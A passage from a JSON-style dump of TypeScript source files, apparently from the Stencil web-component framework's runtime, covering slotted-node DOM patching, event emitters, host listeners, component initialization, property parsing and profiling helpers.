if ((HostElementPrototype as any).__insertAdjacentElement) return;\n  const originalInsertAdjacentElement = HostElementPrototype.insertAdjacentElement;\n\n  HostElementPrototype.insertAdjacentElement = function (\n    this: d.HostElement,\n    position: InsertPosition,\n    element: d.RenderNode,\n  ): Element {\n    if (position !== 'afterbegin' && position !== 'beforeend') {\n      return originalInsertAdjacentElement.call(this, position, element);\n    }\n    if (position === 'afterbegin') {\n      this.prepend(element);\n      return element;\n    } else if (position === 'beforeend') {\n      this.append(element);\n      return element;\n    }\n    return element;\n  };\n};\n\n/**\n * Patches the `textContent` of an unnamed slotted node inside a scoped component\n *\n * @param hostElementPrototype the `Element` to be patched\n */\nexport const patchTextContent = (hostElementPrototype: HTMLElement): void => {\n  patchHostOriginalAccessor('textContent', hostElementPrototype);\n\n  Object.defineProperty(hostElementPrototype, 'textContent', {\n    get: function () {\n      let text = '';\n      const childNodes = this.__childNodes ? this.childNodes : getSlottedChildNodes(this.childNodes);\n      childNodes.forEach((node: d.RenderNode) => (text += node.textContent || ''));\n      return text;\n    },\n    set: function (value) {\n      const childNodes = this.__childNodes ? this.childNodes : getSlottedChildNodes(this.childNodes);\n      childNodes.forEach((node: d.RenderNode) => {\n        if (node['s-ol']) node['s-ol'].remove();\n        node.remove();\n      });\n      this.insertAdjacentHTML('beforeend', value);\n    },\n  });\n};\n\nexport const patchChildSlotNodes = (elm: HTMLElement) => {\n  class FakeNodeList extends Array {\n    item(n: number) {\n      return this[n];\n    }\n  }\n\n  patchHostOriginalAccessor('children', elm);\n  Object.defineProperty(elm, 'children', {\n    get() {\n      return this.childNodes.filter((n: any) => n.nodeType === 1);\n    },\n  });\n\n  Object.defineProperty(elm, 'childElementCount', {\n    get() {\n      return this.children.length;\n    },\n  });\n\n  patchHostOriginalAccessor('firstChild', elm);\n  Object.defineProperty(elm, 'firstChild', {\n    get() {\n      return this.childNodes[0];\n    },\n  });\n\n  patchHostOriginalAccessor('lastChild', elm);\n  Object.defineProperty(elm, 'lastChild', {\n    get() {\n      return this.childNodes[this.childNodes.length - 1];\n    },\n  });\n\n  patchHostOriginalAccessor('childNodes', elm);\n  Object.defineProperty(elm, 'childNodes', {\n    get() {\n      const result = new FakeNodeList();\n      result.push(...getSlottedChildNodes(this.__childNodes));\n      return result;\n    },\n  });\n};\n\n/// SLOTTED NODES ///\n\n/**\n * Patches sibling accessors of a 'slotted' node within a non-shadow component.\n * Meaning whilst stepping through a non-shadow element's nodes, only the mock 'lightDOM' nodes are returned.\n * Especially relevant when rendering components via SSR... Frameworks will often try to reconcile their\n * VDOM with the real DOM by stepping through nodes with 'nextSibling' et al.\n * - `nextSibling`\n * - `nextElementSibling`\n * - `previousSibling`\n * - `previousElementSibling`\n *\n * @param node the slotted node to be patched\n */\nexport const patchSlottedNode = (node: Node) => {\n  if (!node || (node as any).__nextSibling !== undefined || !globalThis.Node) return;\n\n  patchNextSibling(node);\n  patchPreviousSibling(node);\n  patchParentNode(node);\n\n  if (node.nodeType === Node.ELEMENT_NODE) {\n    patchNextElementSibling(node as Element);\n    patchPreviousElementSibling(node as Element);\n  }\n};\n\n/**\n * Patches the `nextSibling` accessor of a non-shadow slotted node\n *\n * @param node the slotted node to be patched\n */\nconst patchNextSibling = (node: Node) => {\n  // already been patched? return\n  if (!node || (node as any).__nextSibling) return;\n\n  patchHostOriginalAccessor('nextSibling', node);\n  Object.defineProperty(node, 'nextSibling', {\n    get: function () {\n      const parentNodes = this['s-ol']?.parentNode.childNodes;\n      const index = parentNodes?.indexOf(this);\n      if (parentNodes && index > -1) {\n        return parentNodes[index + 1];\n      }\n      return this.__nextSibling;\n    },\n  });\n};\n\n/**\n * Patches the `nextElementSibling` accessor of a non-shadow slotted node\n *\n * @param element the slotted element node to be patched\n */\nconst patchNextElementSibling = (element: Element) => {\n  if (!element || (element as any).__nextElementSibling) return;\n\n  patchHostOriginalAccessor('nextElementSibling', element);\n  Object.defineProperty(element, 'nextElementSibling', {\n    get: function () {\n      const parentEles = this['s-ol']?.parentNode.children;\n      const index = parentEles?.indexOf(this);\n      if (parentEles && index > -1) {\n        return parentEles[index + 1];\n      }\n      return this.__nextElementSibling;\n    },\n  });\n};\n\n/**\n * Patches the `previousSibling` accessor of a non-shadow slotted node\n *\n * @param node the slotted node to be patched\n */\nconst patchPreviousSibling = (node: Node) => {\n  if (!node || (node as any).__previousSibling) return;\n\n  patchHostOriginalAccessor('previousSibling', node);\n  Object.defineProperty(node, 'previousSibling', {\n    get: function () {\n      const parentNodes = this['s-ol']?.parentNode.childNodes;\n      const index = parentNodes?.indexOf(this);\n      if (parentNodes && index > -1) {\n        return parentNodes[index - 1];\n      }\n      return this.__previousSibling;\n    },\n  });\n};\n\n/**\n * Patches the `previousElementSibling` accessor of a non-shadow slotted node\n *\n * @param element the slotted element node to be patched\n */\nconst patchPreviousElementSibling = (element: Element) => {\n  if (!element || (element as any).__previousElementSibling) return;\n\n  patchHostOriginalAccessor('previousElementSibling', element);\n  Object.defineProperty(element, 'previousElementSibling', {\n    get: function () {\n      const parentNodes = this['s-ol']?.parentNode.children;\n      const index = parentNodes?.indexOf(this);\n\n      if (parentNodes && index > -1) {\n        return parentNodes[index - 1];\n      }\n      return this.__previousElementSibling;\n    },\n  });\n};\n\n/**\n * Patches the `parentNode` accessor of a non-shadow slotted node\n *\n * @param node the slotted node to be patched\n */\nexport const patchParentNode = (node: Node) => {\n  if (!node || (node as any).__parentNode) return;\n\n  patchHostOriginalAccessor('parentNode', node);\n  Object.defineProperty(node, 'parentNode', {\n    get: function () {\n      return this['s-ol']?.parentNode || this.__parentNode;\n    },\n    set: function (value) {\n      // mock-doc sets parentNode?\n      this.__parentNode = value;\n    },\n  });\n};\n\n/// UTILS ///\n\nconst validElementPatches = ['children', 'nextElementSibling', 'previousElementSibling'] as const;\nconst validNodesPatches = [\n  'childNodes',\n  'firstChild',\n  'lastChild',\n  'nextSibling',\n  'previousSibling',\n  'textContent',\n  'parentNode',\n] as const;\n\n/**\n * Patches a node or element; making it's original accessor method available under a new name.\n * e.g. `nextSibling` -> `__nextSibling`\n *\n * @param accessorName - the name of the accessor to patch\n * @param node - the node to patch\n */\nfunction patchHostOriginalAccessor(\n  accessorName: (typeof validElementPatches)[number] | (typeof validNodesPatches)[number],\n  node: Node,\n) {\n  /**\n   * skip this method if a component was imported from a non-browser environment\n   */\n  if (!globalThis.Node || !globalThis.Element) {\n    return;\n  }\n\n  let accessor;\n  if (validElementPatches.includes(accessorName as any)) {\n    accessor = Object.getOwnPropertyDescriptor(Element.prototype, accessorName);\n  } else if (validNodesPatches.includes(accessorName as any)) {\n    accessor = Object.getOwnPropertyDescriptor(Node.prototype, accessorName);\n  }\n  if (!accessor) {\n    // for mock-doc\n    accessor = Object.getOwnPropertyDescriptor(node, accessorName);\n  }\n  if (accessor) Object.defineProperty(node, '__' + accessorName, accessor);\n}\n\n/**\n * Get the original / internal accessor or method of a node or element.\n *\n * @param node - the node to get the accessor from\n * @param method - the name of the accessor to get\n *\n * @returns the original accessor or method of the node\n */\nexport function internalCall<T extends d.RenderNode, P extends keyof d.RenderNode>(node: T, method: P): T[P] {\n  if ('__' + method in node) {\n    const toReturn = node[('__' + method) as keyof d.RenderNode] as T[P];\n    if (typeof toReturn !== 'function') return toReturn;\n    return toReturn.bind(node) as T[P];\n  } else {\n    if (typeof node[method] !== 'function') return node[method];\n    return node[method].bind(node) as T[P];\n  }\n}\n"
  },
  {
    "path": "src/runtime/element.ts",
    "content": "import { BUILD } from '@app-data';\nimport { getHostRef } from '@platform';\n\nimport type * as d from '../declarations';\n\nexport const getElement = (ref: any) => (BUILD.lazyLoad ? getHostRef(ref)?.$hostElement$ : (ref as d.HostElement));\n"
  },
  {
    "path": "src/runtime/event-emitter.ts",
    "content": "import { BUILD } from '@app-data';\nimport { consoleDevWarn, plt } from '@platform';\n\nimport type * as d from '../declarations';\nimport { EVENT_FLAGS } from '../utils/constants';\nimport { getElement } from './element';\n\nexport const createEvent = (ref: d.RuntimeRef, name: string, flags: number) => {\n  const elm = getElement(ref) as HTMLElement;\n  return {\n    emit: (detail: any) => {\n      if (BUILD.isDev && !elm.isConnected) {\n        consoleDevWarn(`The \"${name}\" event was emitted, but the dispatcher node is no longer connected to the dom.`);\n      }\n      return emitEvent(elm, name, {\n        bubbles: !!(flags & EVENT_FLAGS.Bubbles),\n        composed: !!(flags & EVENT_FLAGS.Composed),\n        cancelable: !!(flags & EVENT_FLAGS.Cancellable),\n        detail,\n      });\n    },\n  };\n};\n\n/**\n * Helper function to create & dispatch a custom Event on a provided target\n * @param elm the target of the Event\n * @param name the name to give the custom Event\n * @param opts options for configuring a custom Event\n * @returns the custom Event\n */\nexport const emitEvent = (elm: EventTarget, name: string, opts?: CustomEventInit) => {\n  const ev = plt.ce(name, opts);\n  elm.dispatchEvent(ev);\n  return ev;\n};\n"
  },
  {
    "path": "src/runtime/fragment.ts",
    "content": "import { FunctionalComponent } from '../declarations/stencil-public-runtime';\n\nexport const Fragment: FunctionalComponent = (_, children: any) => children;\n"
  },
  {
    "path": "src/runtime/hmr-component.ts",
    "content": "import { getHostRef } from '@platform';\n\nimport type * as d from '../declarations';\nimport { HOST_FLAGS } from '../utils/constants';\nimport { initializeComponent } from './initialize-component';\n\n/**\n * Kick off hot-module-replacement for a component. In order to replace the\n * component in-place we:\n *\n * 1. get a reference to the {@link d.HostRef} for the element\n * 2. reset the element's runtime flags\n * 3. re-run the initialization logic for the element (via\n *    {@link initializeComponent})\n *\n * @param hostElement the host element for the component which we want to start\n * doing HMR\n * @param cmpMeta runtime metadata for the component\n * @param hmrVersionId the current HMR version ID\n */\nexport const hmrStart = (hostElement: d.HostElement, cmpMeta: d.ComponentRuntimeMeta, hmrVersionId: string) => {\n  // ¯\\_(ツ)_/¯\n  const hostRef = getHostRef(hostElement);\n  if (!hostRef) {\n    return;\n  }\n\n  // reset state flags to only have been connected\n  hostRef.$flags$ = HOST_FLAGS.hasConnected;\n\n  // TODO\n  // detach any event listeners that may have been added\n  // because we're not passing an exact event name it'll\n  // remove all of this element's event, which is good\n\n  // re-initialize the component\n  initializeComponent(hostElement, hostRef, cmpMeta, hmrVersionId);\n};\n"
  },
  {
    "path": "src/runtime/host-listener.ts",
    "content": "import { BUILD } from '@app-data';\nimport { consoleError, plt, supportsListenerOptions, win } from '@platform';\n\nimport type * as d from '../declarations';\nimport { HOST_FLAGS, LISTENER_FLAGS } from '../utils/constants';\n\nexport const addHostEventListeners = (\n  elm: d.HostElement,\n  hostRef: d.HostRef,\n  listeners?: d.ComponentRuntimeHostListener[],\n  attachParentListeners?: boolean,\n) => {\n  if (BUILD.hostListener && listeners && win.document) {\n    // this is called immediately within the element's constructor\n    // initialize our event listeners on the host element\n    // we do this now so that we can listen to events that may\n    // have fired even before the instance is ready\n\n    if (BUILD.hostListenerTargetParent) {\n      // this component may have event listeners that should be attached to the parent\n      if (attachParentListeners) {\n        // this is being ran from within the connectedCallback\n        // which is important so that we know the host element actually has a parent element\n        // filter out the listeners to only have the ones that ARE being attached to the parent\n        listeners = listeners.filter(([flags]) => flags & LISTENER_FLAGS.TargetParent);\n      } else {\n        // this is being ran from within the component constructor\n        // everything BUT the parent element listeners should be attached at this time\n        // filter out the listeners that are NOT being attached to the parent\n        listeners = listeners.filter(([flags]) => !(flags & LISTENER_FLAGS.TargetParent));\n      }\n    }\n\n    listeners.map(([flags, name, method]) => {\n      const target = BUILD.hostListenerTarget ? getHostListenerTarget(win.document, elm, flags) : elm;\n      const handler = hostListenerProxy(hostRef, method);\n      const opts = hostListenerOpts(flags);\n      plt.ael(target, name, handler, opts);\n      (hostRef.$rmListeners$ = hostRef.$rmListeners$ || []).push(() => plt.rel(target, name, handler, opts));\n    });\n  }\n};\n\nconst hostListenerProxy = (hostRef: d.HostRef, methodName: string) => (ev: Event) => {\n  try {\n    if (BUILD.lazyLoad) {\n      if (hostRef.$flags$ & HOST_FLAGS.isListenReady) {\n        // instance is ready, let's call it's member method for this event\n        hostRef.$lazyInstance$?.[methodName](ev);\n      } else {\n        (hostRef.$queuedListeners$ = hostRef.$queuedListeners$ || []).push([methodName, ev]);\n      }\n    } else {\n      (hostRef.$hostElement$ as any)[methodName](ev);\n    }\n  } catch (e) {\n    consoleError(e, hostRef.$hostElement$);\n  }\n};\n\nconst getHostListenerTarget = (doc: Document, elm: Element, flags: number): EventTarget => {\n  if (BUILD.hostListenerTargetDocument && flags & LISTENER_FLAGS.TargetDocument) {\n    return doc;\n  }\n  if (BUILD.hostListenerTargetWindow && flags & LISTENER_FLAGS.TargetWindow) {\n    return win;\n  }\n  if (BUILD.hostListenerTargetBody && flags & LISTENER_FLAGS.TargetBody) {\n    return doc.body;\n  }\n  if (BUILD.hostListenerTargetParent && flags & LISTENER_FLAGS.TargetParent && elm.parentElement) {\n    return elm.parentElement;\n  }\n\n  return elm;\n};\n\n// prettier-ignore\nconst hostListenerOpts = (flags: number) =>\n  supportsListenerOptions\n    ? ({\n        passive: (flags & LISTENER_FLAGS.Passive) !== 0,\n        capture: (flags & LISTENER_FLAGS.Capture) !== 0,\n      })\n    : (flags & LISTENER_FLAGS.Capture) !== 0;\n"
  },
  {
    "path": "src/runtime/index.ts",
    "content": "export { getAssetPath, setAssetPath } from './asset-path';\nexport { defineCustomElement, forceModeUpdate, proxyCustomElement } from './bootstrap-custom-element';\nexport { bootstrapLazy } from './bootstrap-lazy';\nexport { connectedCallback } from './connected-callback';\nexport { disconnectedCallback } from './disconnected-callback';\nexport { getElement } from './element';\nexport { createEvent } from './event-emitter';\nexport { Fragment } from './fragment';\nexport { addHostEventListeners } from './host-listener';\nexport { Mixin } from './mixin';\nexport { getMode, setMode } from './mode';\nexport { setNonce } from './nonce';\nexport { parsePropertyValue } from './parse-property-value';\nexport { setPlatformOptions } from './platform-options';\nexport { proxyComponent } from './proxy-component';\nexport { render } from './render';\nexport { HYDRATED_STYLE_ID } from './runtime-constants';\nexport { getValue, setValue } from './set-value';\nexport { setTagTransformer, transformTag } from './tag-transform';\nexport { forceUpdate, getRenderingRef, postUpdateComponent } from './update-component';\nexport { h, Host } from './vdom/h';\nexport { jsxDEV } from './vdom/jsx-dev-runtime';\nexport { jsx, jsxs } from './vdom/jsx-runtime';\nexport { insertVdomAnnotations } from './vdom/vdom-annotations';\nexport { renderVdom } from './vdom/vdom-render';\n"
  },
  {
    "path": "src/runtime/initialize-component.ts",
    "content": "import { BUILD } from '@app-data';\nimport { consoleError, loadModule, needsScopedSSR, styles } from '@platform';\n\nimport type * as d from '../declarations';\nimport { CMP_FLAGS, HOST_FLAGS } from '../utils/constants';\nimport { expandPartSelectors, scopeCss } from '../utils/shadow-css';\nimport { computeMode } from './mode';\nimport { createTime, uniqueTime } from './profile';\nimport { proxyComponent } from './proxy-component';\nimport { PROXY_FLAGS } from './runtime-constants';\nimport { getScopeId, registerStyle } from './styles';\nimport { safeCall, scheduleUpdate } from './update-component';\n\n/**\n * Initialize a Stencil component given a reference to its host element, its\n * runtime bookkeeping data structure, runtime metadata about the component,\n * and (optionally) an HMR version ID.\n *\n * @param elm a host element\n * @param hostRef the element's runtime bookkeeping object\n * @param cmpMeta runtime metadata for the Stencil component\n * @param hmrVersionId an (optional) HMR version ID\n */\nexport const initializeComponent = async (\n  elm: d.HostElement,\n  hostRef: d.HostRef,\n  cmpMeta: d.ComponentRuntimeMeta,\n  hmrVersionId?: string,\n) => {\n  let Cstr: d.ComponentConstructor | undefined;\n  // initializeComponent\n  try {\n    if ((hostRef.$flags$ & HOST_FLAGS.hasInitializedComponent) === 0) {\n      // Let the runtime know that the component has been initialized\n      hostRef.$flags$ |= HOST_FLAGS.hasInitializedComponent;\n\n      const bundleId = cmpMeta.$lazyBundleId$;\n      if (BUILD.lazyLoad && bundleId) {\n        // lazy loaded components\n        // request the component's implementation to be\n        // wired up with the host element\n        const CstrImport = loadModule(cmpMeta, hostRef, hmrVersionId);\n        if (CstrImport && 'then' in CstrImport) {\n          // Await creates a micro-task avoid if possible\n          const endLoad = uniqueTime(\n            `st:load:${cmpMeta.$tagName$}:${hostRef.$modeName$}`,\n            `[Stencil] Load module for <${cmpMeta.$tagName$}>`,\n          );\n          Cstr = await CstrImport;\n          endLoad();\n        } else {\n          Cstr = CstrImport as d.ComponentConstructor | undefined;\n        }\n        if (!Cstr) {\n          throw new Error(`Constructor for \"${cmpMeta.$tagName$}#${hostRef.$modeName$}\" was not found`);\n        }\n        if (BUILD.member && !Cstr.isProxied) {\n          // we've never proxied this Constructor before\n          // let's add the getters/setters to its prototype before\n          // the first time we create an instance of the implementation\n          if (BUILD.propChangeCallback) {\n            cmpMeta.$watchers$ = Cstr.watchers;\n            cmpMeta.$serializers$ = Cstr.serializers;\n            cmpMeta.$deserializers$ = Cstr.deserializers;\n          }\n          proxyComponent(Cstr, cmpMeta, PROXY_FLAGS.proxyState);\n          Cstr.isProxied = true;\n        }\n\n        const endNewInstance = createTime('createInstance', cmpMeta.$tagName$);\n        // ok, time to construct the instance\n        // but let's keep track of when we start and stop\n        // so that the getters/setters don't incorrectly step on data\n        if (BUILD.member) {\n          hostRef.$flags$ |= HOST_FLAGS.isConstructingInstance;\n        }\n        // construct the lazy-loaded component implementation\n        // passing the hostRef is very important during\n        // construction in order to directly wire together the\n        // host element and the lazy-loaded instance\n        try {\n          new (Cstr as any)(hostRef);\n        } catch (e) {\n          consoleError(e, elm);\n        }\n\n        if (BUILD.member) {\n          hostRef.$flags$ &= ~HOST_FLAGS.isConstructingInstance;\n        }\n        if (BUILD.propChangeCallback) {\n          hostRef.$flags$ |= HOST_FLAGS.isWatchReady;\n        }\n        endNewInstance();\n\n        // For components that relocate slots, defer connectedCallback until after first render\n        // so that slotted content is available\n        const needsDeferredCallback = BUILD.slotRelocation && cmpMeta.$flags$ & CMP_FLAGS.hasSlotRelocation;\n        if (!needsDeferredCallback) {\n          fireConnectedCallback(hostRef.$lazyInstance$, elm);\n        } else {\n          hostRef.$deferredConnectedCallback$ = true;\n        }\n      } else {\n        // sync constructor component\n        Cstr = elm.constructor as any;\n\n        /**\n         * Instead of using e.g. `cmpMeta.$tagName$` we use `elm.localName` to get the tag name of the component.\n         * This is because we can't guarantee that the component class is actually registered with the tag name\n         * defined in the component class as users can very well also do this:\n         *\n         * ```html\n         * <script type=\"module\">\n         *   import { MyComponent } from 'my-stencil-component-library';\n         *   customElements.define('my-other-component', MyComponent);\n         * </script>\n         * ```\n         */\n        const cmpTag = elm.localName;\n\n        // wait for the CustomElementRegistry to mark the component as ready before setting `isWatchReady`. Otherwise,\n        // watchers may fire prematurely if `customElements.get()`/`customElements.whenDefined()` resolves _before_\n        // Stencil has completed instantiating the component.\n        customElements.whenDefined(cmpTag).then(() => (hostRef.$flags$ |= HOST_FLAGS.isWatchReady));\n      }\n\n      if (BUILD.style && Cstr && Cstr.style) {\n        /**\n         * this component has styles but we haven't registered them yet\n         */\n        let style: string | undefined;\n\n        if (typeof Cstr.style === 'string') {\n          /**\n           * in case the component has a `styleUrl` defined, e.g.\n           * ```ts\n           * @Component({\n           *   tag: 'my-component',\n           *   styleUrl: 'my-component.css'\n           * })\n           * ```\n           */\n          style = Cstr.style;\n        } else if (BUILD.mode && typeof Cstr.style !== 'string') {\n          /**\n           * in case the component has a `styleUrl` object defined, e.g.\n           * ```ts\n           * @Component({\n           *   tag: 'my-component',\n           *   styleUrl: {\n           *     ios: 'my-component.ios.css',\n           *     md: 'my-component.md.css'\n           *   }\n           * })\n           * ```\n           */\n          hostRef.$modeName$ = computeMode(elm) as string | undefined;\n          if (hostRef.$modeName$) {\n            style = Cstr.style[hostRef.$modeName$];\n          }\n\n          if (BUILD.hydrateServerSide && hostRef.$modeName$) {\n            elm.setAttribute('s-mode', hostRef.$modeName$);\n          }\n        }\n        const scopeId = getScopeId(cmpMeta, hostRef.$modeName$);\n        // Always re-register styles during HMR to pick up inline style changes\n        if (!styles.has(scopeId) || (BUILD.hotModuleReplacement && hmrVersionId)) {\n          const endRegisterStyles = createTime('registerStyles', cmpMeta.$tagName$);\n\n          if (BUILD.hydrateServerSide && BUILD.shadowDom) {\n            if (cmpMeta.$flags$ & CMP_FLAGS.shadowNeedsScopedCss) {\n              style = scopeCss(style, scopeId, true);\n            } else if (needsScopedSSR()) {\n              style = expandPartSelectors(style);\n            }\n          }\n          registerStyle(scopeId, style, !!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation));\n          endRegisterStyles();\n        }\n      }\n    }\n\n    // we've successfully created a lazy instance\n    const ancestorComponent = hostRef.$ancestorComponent$;\n    const schedule = () => scheduleUpdate(hostRef, true);\n\n    if (BUILD.asyncLoading && ancestorComponent && ancestorComponent['s-rc']) {\n      // this is the initial load and this component it has an ancestor component\n      // but the ancestor component has NOT fired its will update lifecycle yet\n      // so let's just cool our jets and wait for the ancestor to continue first\n\n      // this will get fired off when the ancestor component\n      // finally gets around to rendering its lazy self\n      // fire off the initial update\n      ancestorComponent['s-rc'].push(schedule);\n    } else {\n      schedule();\n    }\n  } catch (e) {\n    consoleError(e, elm);\n    // Ensure we release the parent component even if this child failed to initialize.\n    // Without this, a failed child would cause its parent to hang forever waiting\n    // for all children to resolve before completing hydration.\n    if (BUILD.asyncLoading && hostRef.$onRenderResolve$) {\n      hostRef.$onRenderResolve$();\n      hostRef.$onRenderResolve$ = undefined;\n    }\n    // Also resolve the component's ready promise so any code waiting on\n    // componentOnReady() doesn't hang forever\n    if (BUILD.asyncLoading && hostRef.$onReadyResolve$) {\n      hostRef.$onReadyResolve$(elm);\n    }\n  }\n};\n\nexport const fireConnectedCallback = (instance: any, elm?: HTMLElement) => {\n  if (BUILD.lazyLoad) {\n    safeCall(instance, 'connectedCallback', undefined, elm);\n  }\n};\n"
  },
  {
    "path": "src/runtime/mixin.ts",
    "content": "import { BUILD } from '@app-data';\n\ntype Ctor<T = {}> = new (...args: any[]) => T;\n\nconst baseClass: Ctor = BUILD.lazyLoad ? class {} : globalThis.HTMLElement || class {};\n\nexport function Mixin(...mixins: ((base: Ctor) => Ctor)[]) {\n  return mixins.reduceRight((acc, mixin) => mixin(acc), baseClass);\n}\n"
  },
  {
    "path": "src/runtime/mode.ts",
    "content": "import { getHostRef, modeResolutionChain } from '@platform';\n\nimport type * as d from '../declarations';\n\n// Private\nexport const computeMode = (elm: d.HostElement) => modeResolutionChain.map((h) => h(elm)).find((m) => !!m);\n\n// Public\nexport const setMode = (handler: d.ResolutionHandler) => modeResolutionChain.push(handler);\nexport const getMode = (ref: d.RuntimeRef) => getHostRef(ref)?.$modeName$;\n"
  },
  {
    "path": "src/runtime/nonce.ts",
    "content": "import { plt } from '@platform';\n\n/**\n * Assigns the given value to the nonce property on the runtime platform object.\n * During runtime, this value is used to set the nonce attribute on all dynamically created script and style tags.\n * @param nonce The value to be assigned to the platform nonce property.\n * @returns void\n */\nexport const setNonce = (nonce: string) => (plt.$nonce$ = nonce);\n"
  },
  {
    "path": "src/runtime/parse-property-value.ts",
    "content": "import { BUILD } from '@app-data';\n\nimport { MEMBER_FLAGS, SERIALIZED_PREFIX } from '../utils/constants';\nimport { isComplexType } from '../utils/helpers';\nimport { deserializeProperty } from '../utils/serialize';\n\n/**\n * Parse a new property value for a given property type.\n *\n * While the prop value can reasonably be expected to be of `any` type as far as TypeScript's type checker is concerned,\n * it is not safe to assume that the string returned by evaluating `typeof propValue` matches:\n *   1. `any`, the type given to `propValue` in the function signature\n *   2. the type stored from `propType`.\n *\n * This function provides the capability to parse/coerce a property's value to potentially any other JavaScript type.\n *\n * Property values represented in TSX preserve their type information. In the example below, the number 0 is passed to\n * a component. This `propValue` will preserve its type information (`typeof propValue === 'number'`). Note that is\n * based on the type of the value being passed in, not the type declared of the class member decorated with `@Prop`.\n * ```tsx\n * <my-cmp prop-val={0}></my-cmp>\n * ```\n *\n * HTML prop values on the other hand, will always a string\n *\n * @param propValue the new value to coerce to some type\n * @param propType the type of the prop, expressed as a binary number\n * @param isFormAssociated whether the component is form-associated (optional)\n * @returns the parsed/coerced value\n */\nexport const parsePropertyValue = (propValue: unknown, propType: number, isFormAssociated?: boolean): any => {\n  /**\n   * Allow hydrate parameters that contain a complex non-serialized values.\n   * This is SSR-specific and should only run during hydration.\n   */\n  if (\n    (BUILD.hydrateClientSide || BUILD.hydrateServerSide) &&\n    typeof propValue === 'string' &&\n    propValue.startsWith(SERIALIZED_PREFIX)\n  ) {\n    propValue = deserializeProperty(propValue);\n    return propValue;\n  }\n\n  if (propValue != null && !isComplexType(propValue)) {\n    /**\n     * ensure this value is of the correct prop type\n     */\n    if (BUILD.propBoolean && propType & MEMBER_FLAGS.Boolean) {\n      /**\n       * For form-associated components, according to HTML spec, the presence of any boolean attribute\n       * (regardless of its value, even \"false\") should make the property true.\n       * For non-form-associated components, we maintain the legacy behavior where \"false\" becomes false.\n       */\n      if (BUILD.formAssociated && isFormAssociated && typeof propValue === 'string') {\n        // For form-associated components, any string attribute value (including \"false\") means true\n        return propValue === '' || !!propValue;\n      } else {\n        // Legacy behavior: string \"false\" becomes boolean false\n        return propValue === 'false' ? false : propValue === '' || !!propValue;\n      }\n    }\n\n    /**\n     * force it to be a number\n     */\n    if (BUILD.propNumber && propType & MEMBER_FLAGS.Number) {\n      return typeof propValue === 'string' ? parseFloat(propValue) : typeof propValue === 'number' ? propValue : NaN;\n    }\n\n    /**\n     * could have been passed as a number or boolean but we still want it as a string\n     */\n    if (BUILD.propString && propType & MEMBER_FLAGS.String) {\n      return String(propValue);\n    }\n\n    return propValue;\n  }\n\n  /**\n   * not sure exactly what type we want so no need to change to a different type\n   */\n  return propValue;\n};\n"
  },
  {
    "path": "src/runtime/platform-options.ts",
    "content": "import { plt } from '@platform';\n\ninterface SetPlatformOptions {\n  raf?: (c: FrameRequestCallback) => number;\n  ael?: (\n    el: EventTarget,\n    eventName: string,\n    listener: EventListenerOrEventListenerObject,\n    options: boolean | AddEventListenerOptions,\n  ) => void;\n  rel?: (\n    el: EventTarget,\n    eventName: string,\n    listener: EventListenerOrEventListenerObject,\n    options: boolean | AddEventListenerOptions,\n  ) => void;\n  ce?: (eventName: string, opts?: any) => CustomEvent;\n}\n\nexport const setPlatformOptions = (opts: SetPlatformOptions) => Object.assign(plt, opts);\n"
  },
  {
    "path": "src/runtime/profile.ts",
    "content": "import { BUILD } from '@app-data';\nimport { getHostRef, win } from '@platform';\n\nimport { HOST_FLAGS } from '../utils/constants';\n\nlet i = 0;\n\nexport const createTime = (fnName: string, tagName = '') => {\n  if (BUILD.profile && performance.mark) {\n    const key = `st:${fnName}:${tagName}:${i++}`;\n    // Start\n    performance.mark(key);\n\n    // End\n    return () => performance.measure(`[Stencil] ${fnName}() <${tagName}>`, key);\n  } else {\n    return () => {\n      return;\n    };\n  }\n};\n\nexport const uniqueTime = (key: string, measureText: string) => {\n  if (BUILD.profile && performance.mark) {\n    if (performance.getEntriesByName(key, 'mark').length === 0) {\n      performance.mark(key);\n    }\n    return () => {\n      if (performance.getEntriesByName(measureText, 'measure').length === 0) {\n        performance.measure(measureText, key);\n      }\n    };\n  } else {\n    return () => {\n      return;\n    };\n  }\n};\n\nconst inspect = (ref: any) => {\n  const hostRef = getHostRef(ref);\n  if (!hostRef) {\n    return undefined;\n  }\n  const flags = hostRef.$flags$;\n  const hostElement = hostRef.$hostElement$;\n  return {\n    renderCount: hostRef.$renderCount$,\n    flags: {\n      hasRendered: !!(flags & HOST_FLAGS.hasRendered),\n      hasConnected: !!(flags & HOST_FLAGS.hasConnected),\n      isWaitingForChildren: !!(flags & HOST_FLAGS.isWaitingForChildren),\n      isConstructingInstance: !!(flags & HOST_FLAGS.isConstructingInstance),\n      isQueuedForUpdate: !!(flags & HOST_FLAGS.isQueuedForUpdate),\n      hasInitializedComponent: !!(flags & HOST_FLAGS.hasInitializedComponent),\n      hasLoadedComponent: !!(flags & HOST_FLAGS.hasLoadedComponent),\n      isWatchReady: !!(flags & HOST_FLAGS.isWatchReady),\n      isListenReady: !!(flags & HOST_FLAGS.isListenReady),\n      needsRerender: !!(flags & HOST_FLAGS.needsRerender),\n    },\n    instanceValues: hostRef.$instanceValues$,\n    serializerValues: hostRef.$serializerValues$,\n    ancestorComponent: hostRef.$ancestorComponent$,\n    hostElement,\n    lazyInstance: hostRef.$lazyInstance$,\n    vnode: hostRef.$vnode$,\n    modeName: hostRef.$modeName$,\n    fetchedCbList: hostRef.$fetchedCbList$,\n    onReadyPromise: hostRef.$onReadyPromise$,\n    onReadyResolve: hostRef.$onReadyResolve$,\n    onInstancePromise: hostRef.$onInstancePromise$,\n    onInstanceResolve: hostRef.$onInstanceResolve$,\n    onRenderResolve: hostRef.$onRenderResolve$,\n    queuedListeners: hostRef.$queuedListeners$,\n    rmListeners: hostRef.$rmListeners$,\n    ['s-id']: hostElement['s-id'],\n    ['s-cr']: hostElement['s-cr'],\n    ['s-lr']: hostElement['s-lr'],\n    ['s-p']: hostElement['s-p'],\n    ['s-rc']: hostElement['s-rc'],\n    ['s-sc']: hostElement['s-sc'],\n  };\n};\n\nexport const installDevTools = () => {\n  if (BUILD.devTools) {\n    const stencil = ((win as any).stencil = (win as any).stencil || {});\n    const originalInspect = stencil.inspect;\n\n    stencil.inspect = (ref: any) => {\n      let result = inspect(ref);\n      if (!result && typeof originalInspect === 'function') {\n        result = originalInspect(ref);\n      }\n      return result;\n    };\n  }\n};\n"
  },
  {
    "path": "src/runtime/proxy-component.ts",
